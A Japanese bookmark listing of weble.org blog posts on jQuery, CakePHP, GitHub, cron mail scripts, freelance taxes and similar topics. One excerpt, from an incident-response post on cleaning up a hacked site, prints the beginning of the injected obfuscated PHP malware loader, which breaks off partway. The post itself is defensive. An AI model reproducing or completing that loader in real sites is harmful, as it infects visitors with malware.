タグ

ブックマーク / weble.org (47)

  • jQuery で Ajax でデータを POST 送信する際にオブジェクトで値を渡すと自動的にエンコードしてくれる

    私は jQuery で Ajax を使ってデータを POST で送信する際に以下のようにコードを書いていて躓きました。 var hoge = 'str&ing'; var fuga = 'string'; var data = 'hoge=' + hoge + '&fuga=' + fuga; $.ajax({ type: "POST", url: "/ajax/add", data: data, success: function() { alert('success'); } });

  • CakePHP で jQuery Mobile を使用して Ajax を有効にした状態でページ遷移しようとすると真っ白な画面に undefined になる場合の解決方法

    jQuery Mobile はデフォルトでページ遷移を Ajax で処理してくれます。ただ、CakePHP はデフォルトで Ajax を勝手に判断して Ajax のレイアウトを返してくれるように設計されています。そのため、いくら jQuery Mobile に対応させたモバイル用のテーマを作成したとしても、それが読み込まれないため、以下のように Undefined 表示されてしまいます。 だからといって jQuery Mobile の Ajax 機能を完全に停止してしまうのではなく、モバイルアクセス時のみ Ajax でレイアウトが変更されないように、CakePHP 側をなんとかして設定するのが良いのかなと思います。 ただ、現状 CakePHP の Ajax 時の強制的に ajax.ctp が使われるのを防ぐ方法が分からず、コアファイルも弄るのも微妙だったので Layout/ajax.ctp

  • CakePHP 2.1 で jQuery Mobile を使ってスマートフォンサイトを作る方法

    if($this->RequestHandler->isMobile()) { echo 'mobile website!'; } ただし、RequestHandlerComponent::is_Mobile() では日の携帯全てに対応しているわけではないため、日の携帯にもある程度対応している Ktai Library for CakePHP というものを使用すると良いそうですが、今回は iPhoneAndroid にスマホ用ページを表示できれば良いので、デフォルトの判定で実装していきます。 CakePHP でモバイルテーマを作成する AppController にて以下の記述をすることで、モバイルでアクセスした場合にテーマ Mobile を宣言します。

  • はじめての Github で自作のライブラリを公開するためのリポジトリ作成や設定まとめ

    今回は Github でアカウントを設定して自作のライブラリを入れるまでの手順をメモとして残しておきます。 Github に登録する 登録して自分のページを作成していきます。連絡をもらうためのメールアドレスとか自分のプロフィールを作成できるようです。 SSH key を追加する Github 用の SSH キーを作成します。私の環境では ~/.ssh/githubgithub_rsa と github_rsa.pub を作成しました。この github_rsa.pub の内容は Github の設定ページの SSH keys の項目より追加してください。

    advblog
    advblog 2012/05/09
  • はじめてのスマートフォンサイト制作「jQuery Mobile を使った制作編」

    前回の基礎知識や開発環境の準備編で、基的な勉強や開発環境は揃えましたので、記事では具体的な制作に入っていきます。 どんな風に作るのか ハイクオリティで広範囲のプラットフォームに対応したスマートフォンサイトを作りあげるにあたって jQuery Mobile を使用していきます。また URL は統一して(スマホサイトを別 URL で作成せず)スマホアクセス時にスマホ用の出力に最適化します。そのため、サイトの構造に変更は加えませんが、全てのページにおいてスマホ用のレイアウトを出力できるように変更を加えていきます。 jQeury Mobile について スマホサイトの作成に jQuery Mobile について学んでいきます。今まで jQuery Mobile を使用したことがありませんので、今回一から全て勉強しました。といっても、基的なことは全て下記サイトにありますので、jQuery Mo

    advblog
    advblog 2012/05/08
  • はじめてのスマートフォンサイト制作「基礎知識や開発環境の準備編」

    今までスマホサイトを制作したことが無いので、サイト設計から基礎知識、デザインの知識など一から全て勉強していきますので、その点についてまとめて行きます。 用語整理 まず初めてに新しい用語などについて整理していきます。用語については自信ある方はこの項目は飛ばして下さい。 「スマホ」と「スマフォ」どっちが一般的なのか 今まで「スマホ」だと思っていたのですが、最近「スマフォ」と呼称する人を見かけるようになりました。確かに「スマートフォン」を略すなら「スマフォ」の方が正しそうな気がしますが、Google で調べた所検索ボリュームの数が「スマホ」の方が圧倒的に多いので、私は略す場合は「スマホ」で通していくことにします。 フィーチャーフォン (ガラパゴスケータイ) 日独自の進化を遂げた携帯をガラパゴス携帯、略してガラケーと呼びます。個人的にはガラケーという言葉を使っていたのですが、ガラケーではなく「フ

    advblog
    advblog 2012/05/07
  • Android SDK を Mac にインストールする方法

    iOS シュミレータの Android 版のようなものは無いかと探していたら、Android SDK というのがそれに当たるとのことなので、さっそくインストールしてみることにしました。ファイルに関しては以下のページから手に入れることができます。 Android SDK | Android Developers インストール方法 ファイルをダウンロードしてきたら解凍をして、フォルダをそのままアプリケーションフォルダに入れ、tools/android をダブルクリックして実行すれば Android SDK Manager が起動し処理が開始します。 するとこういうウィンドウが起動しますので、デフォルトのチェックのままインストールを開始します。ちなみに参考サイトで Android SDK Platform-tools にチェックをとのことでしたので、デフォルトではチェックが入っていませんでしたが

    advblog
    advblog 2012/05/01
  • 未読数や新着記事数などを表現出来るフリーでハイクオリティーなツールチップ Mini tooltips

    未読数や新着記事数などを表現出来るハイクオリティーなツールチップ Mini tooltips がとても綺麗だったので紹介します。 Mini tooltips free PSD file 新着メール、新しい記事の投稿数、Twitter の新着などの数を表示する際などに活用できそうです。

    advblog
    advblog 2012/04/21
  • XREA で cron ジョブを設定してシェルスクリプトを書いて PHP を起動させてメールを送信

    cron とかシェルスクリプトとかよく分からなくて、ちゃんと設定してもなかなか文字化けでうまく動作せず、10日間くらい悪戦苦闘しながら100を超える Web ページを読みあさり、それを参考に次のような設定にしたところ解決できたのでメモしておきます。これから同じことをしようとする人の参考になれば幸いです。 PHP の設定 簡単なメール送信のスクリプトを書いておいて、ファイルの保存形式は EUC で改行コードは CR+LF にします。 $header = "Content-Type: text/plain;charset=iso-2022-jp\r\n"; $header .= "From: "."from@hoge.com"; mb_language("Japanese"); $address = 'address@hoge.com'; $subject = '件名'; $message =

  • あの最強のメールアプリ Sparrow が iPhone アプリに登場で Gmail が iPhone で超絶使いやすくて iPhone のデフォルトメールアプリが不要に! | ウェブル

    あまりにも Sparrow が便利すぎて胸の鼓動が止まりません。インストールして触ってたら便利すぎて涙出てきました。仕事が捗るとかのレベルじゃなくて、今すぐ皆さんにもおすすめしたいので記事にします。 Sparrow のダウンロードはこちら まず Sparrow って何 iPhone で物凄い効率的にメールを受信したり送信することができるアプリです。以前も紹介したのは Mac 版の Sparrow でしたが、それの iPhone 版になります。 正直 Mac でメール管理する上で Sparrow が無ければもう生きていけない程に重宝しています。有料アプリですが、正直このアプリが5倍の値段でもおかしくないと思う程に便利です。 Sparrow の iPhone アプリが出た! 今回それの iPhone 版が出たわけですからレビューなども見ずにイキナリ購入したところ、やっぱり期待を裏切らないどころ

    advblog
    advblog 2012/03/15
  • はじめてのフリーランスの青色確定申告の勉強メモ「実践・提出編」

    青色申告が終わりました。書類はいろいろ勉強して作ったので完璧だと思っています。一応税務署でチェックしてもらって問題ないとのことでしたが、実際書類が正しいかどうかはまだ分かりませんが、一応忘れないようにここまでを履歴をまとめておきます。個人的な勉強日記であり確定申告について教えることが目的の記事ではないのでご了承ください。また私は税理士ではないので勘違いは必ずありますし、非効率的な部分もあるかもしれません。初心者の視点で書いています。 青色申告をはじめるための準備をする 確定申告をするためにつけた知識や準備したソフトなどについて全てまとめておきました。どの程度勉強したら書類作成できるのかなどの指針にして下さい。 所得税の青色申告承認申請書は忘れずに 青色申告するには「所得税の青色申告承認申請書」を提出しておく必要があります。提出を忘れる方がいるのか、税務署でも Facebook でも「青色申

    advblog
    advblog 2012/02/21
  • 国民健康保険税の支払いの詳細と確定申告時の控除について

    市役所に健康保険税について質問する機会がありました。素人の私が質問して詰めていく形だったので、もしかしたら誤りもあるかもしれませんのでご了承ください。 国民健康保険税は8回に分けての分割支払い 国民健康保険税の支払いが中途半端 私は会社を辞めてから国民年金を支払っています。しかし、国民健康保険税については辞めてしばらくしか払っていないため気になって問い合わせてみました。 国民健康保険税の仕組みについて 国民健康保険税は第1期から第8期までの計8回の支払いが一般的だそうです。具体的には7月末から3月末まで毎月納期があり、3月末から7月末については支払い納期が無いそうです。国民健康保険税の支払いは、毎月支払うというより、1年トータルに必要な税金量を8回に分けて支払うという仕組みのようです。 国民年金は毎月、住民税については数ヶ月に一度ですが、国民健康保険については8ヶ月に分けての支払いだったと

    advblog
    advblog 2012/02/21
  • 個人 Web サービス屋の生活資金集めとモチベーション維持についてのお話 | ウェブル

    Web サービスで生活すると言って独立して8ヶ月目になります。もう Web サービスで生活できるーという感じでは全然なくて、少しずつ少しずつ増えている程度です。そんな状態ですが、一度今の私の考えをまとめてみたいと思います。自分のやる気アップのためも兼ねています。 8ヶ月間での収益変化について 序盤 独立間近はこのような比率でサービスだけでは税金払うだけでキツかったので受託を組み込んでいました。ちなみに個人事業主の税金は会社員より高めなのです。 後半 8ヶ月経ってこのような感じになりました。サービスも増えて受託も減って、ブログにもスポンサーが付いてるおかげで増えました。その他は自由な立場を利用していろいろやってます。 独立序盤の生活費はどこからやってくるのか 独立間近はもちろんサービスからの収益はたくさんは無かったので、序盤は生活資金を集めるために受託をメインでやっていました。サイト売買など

    advblog
    advblog 2012/02/10
  • 脆弱性を突かれて Web サイトを改ざんされてウィルス呼び出しコードを埋めこまれたファイルの調べ方と除去と対応作業と申請手続きについて

    改ざんされてウィルス配布コード埋めこまれてから復旧までの作業や申請の手続きについてまとめていきます。 追記: 「改ざんされた場合そのものの対処方法」という意味で書かせて頂きました。phpMyAdmin の脆弱性についてではなく全般的な内容となっております。誤解を与える表現となってしまい申し訳御座いません。 今回埋めこまれた不正なコード 実際のコードは改行やスペースがなくなって一行のコードとなっておりますので非常に気づきにくいです。 <?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) { $eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn

    advblog
    advblog 2012/01/24
  • ウェブルの関連サービスが改竄され不正なコードが挿入された件の報告 | ウェブル

    特定の共用サーバーに入っている、私の一部のサイトが WordPress プラグインの phpMyAdmin を経由して改竄されましたのでご報告します。この期間に該当するサイトを閲覧された方はウィルスに感染していないか調べてみてください。 改竄されたサイト一覧 ウェブル ウェブルニュース Webデザインサンプル 栄養素データベース 顔文字データバンク 学習型しりとり アニメマップ(メインサイトのみ) 発生期間について 2012年1月16日18時頃に改竄され、2012年1月17日20時より大まかな除去が完了。全ての改竄されたファイルの除去に2012年1月20日15時に完了しました。この期間にウェブル運営のサイトを閲覧された方はウィルスに感染していないかお使いのパソコンをチェックしてください。 改竄された原因について WordPress プラグインの WP-phpMyAdmin の setu

    advblog
    advblog 2012/01/20
  • PHP で簡単にサーバーを監視して一定ラインを超えたらメール通知するコード

    ロードアベレージ通知するだけなら負荷監視ツールを入れるより、PHP なりで書くほうが楽で簡単とのことで友達に教えてもらいましたので、ひとつ書いてみました。以下のコードを loadave.php など適当な名前で保存して cron で定期実行すれば良いです。 <?php mb_language("ja"); mb_internal_encoding("UTF-8"); date_default_timezone_set('Asia/Tokyo'); $servername = 'localhost '; // サーバー名(任意) $mail1 = 'info@example.com'; // 通知先1 $mail2 = 'alert@example.com'; // 通知先2 $notice1 = '3.00'; // 通知ライン1 $notice2 = '5.00'; // 通知ライン2

    advblog
    advblog 2012/01/09
  • CakePHP 2.0 系で発行された SQL などを確認したりデバッグする方法

    ビューに以下の記述をすると発行した SQL をデバッグレベル2の時に確認することができます。1element('sql_dump'); ?>CakePHP 1.3 と同じ方法となります。CakePHP 1.2 から 1.3 にバージョンアップする手順のまとめ | ウェブル

    advblog
    advblog 2012/01/01
  • PHP が分からない人でも WordPress のカスタムフィールドを使ってカスタマイズする方法

    カスタムフィールドの使い方をシンプルに教えます。一度覚えれば一生使えますので一緒に勉強していきましょう。 カスタムフィールドとは ブログの今日の一言とかを作るのに良いです。ブログ記事の抜粋部分とかサブタイトルを入れたりと、別枠で好きな枠組みを作れるのでアイディア次第でいろいろ作れます。分からない方はこれを読むとカスタムフィールドが何かに着いて理解できるかもしれません。 簡単なカスタムフィールドの使い方 管理画面のどこにカスタムフィールドを使うところがあるの? デフォルトで表示されてたり、されてないかもしれません、まずは画像のように表示オプションからカスタムフィールドが有効になっていることを確認します。 下に行くとカスタムフィールド欄が出現 これがカスタムフィールド欄です。 カスタムフィールドに何か入力します 左側はカスタムフィールドの名前、右側は値を入れます。今日の一言を実装するなら画像の

    advblog
    advblog 2011/12/05
  • CakePHP 2.0 で Content-Type を変更する方法

    すると以下のように勝手に変更される、あるいは変更されません。これは Firefox のアドオンである Firebug を使うと確認することができますので、ヘッダの確認の際はこれを使いましょう。 $this->header() を使う CakePHP 2.0 で Content-Type を設定するには以下のようにするようです。以下のページに書いてありました。 CakePHP – Change the content-type

    advblog
    advblog 2011/11/29
  • フリーランスになって半年経ってこの世で一人ぼっちになったことに気付いて究極に失敗した | ウェブル

    フリーランスで Web サービス運営、システム構築、あと簡単なデザイン、IT 以外もいろいろやってましたが、悩みを思いっきりどこかに吐き出したいし、自分の考えてること整理するために書くことにしました。 個人起業して一人で Web サービスとかを制作・運営して、家で好きなだけ寝ていたいと思ってる人は一度読んでみると良いです。 人は一人じゃ生きていけないと思った。 フリーランスになるという記事を書いたとき「どこかのオフィスを間借りする」ということでしたが、結局以下の理由でいきませんでした。 一人で作業するならそこに行く必要がない。 交通費というコストがかかる。 結果的に家で作業することにしましたが。 家で作業するから間借りさせてくれる会社に行かない。 関わり合いもあんまり無い。 ということで、間借りさせてくれるという会社のオフィスにいけなくなり、次第に引きこもりみたいになって、社会から孤立し、

    advblog
    advblog 2011/11/17
    B!